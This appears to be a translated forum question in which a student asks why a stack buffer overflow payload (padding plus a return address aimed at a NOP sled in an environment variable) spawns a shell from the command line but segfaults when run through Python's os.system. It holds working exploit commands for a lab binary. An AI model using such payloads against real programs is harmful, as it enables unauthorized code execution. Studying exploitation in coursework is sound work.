Sto sviluppando uno script per eseguire un buffer overflow per un compito a scuola. Tuttavia, sono bloccato in un punto in cui il mio carico utile viene iniettato attraverso la linea di comando, ma non viene iniettato attraverso il mio script python.
Quando inietto il mio carico dalla linea di comando:
user@ubuntu:~/Documents/$ /home/user/Documents/easy $(python -c 'print"AAAAAAAAAAAAAA"\xa0\xf4\xff\xbf"')
$ exit //I get the shell....
L'indirizzo di ritorno
\xa0\xf4\xff\xbf
È l'indirizzo della mia slitta NOP in una variabile di ambiente.
Ora eseguo lo stesso comando completo attraverso il mio script python:
path = "/home/dvddaver/Documents/easy AAAAAAAAAAAAAA\xa0\xf4\xff\xbf"
os.system(path);
Tuttavia, quando eseguo il mio script python, ottengo un errore di segmentazione:
user@ubuntu:~/Documents$ python bruteforcer.py
Segmentation fault (core dumped)